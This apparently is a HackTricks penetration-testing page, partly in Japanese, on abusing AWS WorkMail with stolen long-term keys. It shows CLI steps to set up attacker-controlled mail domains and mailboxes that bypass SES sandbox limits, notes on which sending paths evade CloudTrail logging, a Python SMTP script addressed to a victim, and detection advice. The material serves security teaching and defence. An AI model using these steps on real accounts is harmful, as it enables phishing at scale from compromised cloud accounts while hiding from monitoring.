hacktricks-cloud/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workmail-post-exploitation/README.md

AWS - WorkMail Post Exploitation

{{#include ../../../../banners/hacktricks-training.md}}

WorkMailを悪用してSES sandboxを回避する

Even if SES is stuck in the sandbox (verified-recipient only, ~200 msgs/24h, 1 msg/s), WorkMail has no equivalent restriction. An attacker with long-term keys can spin up disposable mail infra and start sending immediately:

1. Create a WorkMail org (region-scoped)

aws workmail create-organization --region us-east-1 --alias temp-mail --directory-id <dir-id-if-reusing>

2. Verify attacker-controlled domains (WorkMail invokes SES APIs as workmail.amazonaws.com):

aws ses verify-domain-identity --domain attacker-domain.com
aws ses verify-domain-dkim --domain attacker-domain.com

3. Provision mailbox users and register them:

aws workmail create-user --organization-id <org-id> --name marketing --display-name "Marketing"
aws workmail register-to-work-mail --organization-id <org-id> --entity-id <user-id> --email marketing@attacker-domain.com

Notes:

• AWSに記載されているデフォルトのrecipient cap：組織あたり1日100,000の外部受信者（ユーザー合算）。
• ドメイン検証のアクティビティはCloudTrailのSES配下に表示されますが、invokedBy: workmail.<region>.amazonaws.com として記録されるため、SESの検証イベントがSESのキャンペーンではなくWorkMailのセットアップに紐づく場合があります。
• WorkMailのメールボックスユーザーは、IAMユーザーとは独立したapplication-layer persistenceになります。

送信経路とテレメトリのギャップ

Web client (WorkMail UI)

• 送信はCloudTrail上で**ses:SendRawEmail**イベントとして表れます。
• userIdentity.type = AWSService、invokedBy/sourceIPAddress/userAgent = workmail.<region>.amazonaws.com のため、実際のクライアントIPは隠蔽されます。
• requestParametersは依然として送信者をleakします（source、fromArn、sourceArn、configuration set）ので、新しく検証されたドメイン/メールボックスと関連付けることができます。

SMTP (stealthiest)

• Endpoint: smtp.mail.<region>.awsapps.com:465 (SMTP over SSL) with the mailbox password.
• No CloudTrail data events are generated for SMTP delivery, even when SES data events are enabled.
• 理想的な検知ポイントはorg/domain/user provisioningおよび、その後のweb送信のSendRawEmailイベントで参照されるSES identity ARNです。

WorkMail経由のSMTP送信例

```python import smtplib from email.message import EmailMessage

SMTP_SERVER = "smtp.mail.us-east-1.awsapps.com" SMTP_PORT = 465 EMAIL_ADDRESS = "marketing@attacker-domain.com" EMAIL_PASSWORD = "SuperSecretPassword!"

target = "victim@example.com" # can be unverified/external msg = EmailMessage() msg["Subject"] = "WorkMail SMTP" msg["From"] = EMAIL_ADDRESS msg["To"] = target msg.set_content("Delivered via WorkMail SMTP")

with smtplib.SMTP_SSL(SMTP_SERVER, SMTP_PORT) as smtp: smtp.login(EMAIL_ADDRESS, EMAIL_PASSWORD) smtp.send_message(msg)

</details>

## 検出に関する考慮事項

- WorkMailが不要な場合、組織レベルで**SCPs**（`workmail:*` deny）を使用してブロックする。
- プロビジョニング時にアラートを出す: `workmail:CreateOrganization`、`workmail:CreateUser`、`workmail:RegisterToWorkMail`、および `invokedBy=workmail.amazonaws.com` を含む SES の検証（`ses:VerifyDomainIdentity`、`ses:VerifyDomainDkim`）。
- identity ARNsが新しいドメインを参照し、送信元の IP/UA が `workmail.<region>.amazonaws.com` と等しいような異常な **`ses:SendRawEmail`** イベントを監視する。

## References

- [Threat Actors Using AWS WorkMail in Phishing Campaigns](https://www.rapid7.com/blog/post/dr-threat-actors-aws-workmail-phishing-campaigns)
- [AWS WorkMail limits](https://docs.aws.amazon.com/workmail/latest/adminguide/limits.html)

{{#include ../../../../banners/hacktricks-training.md}}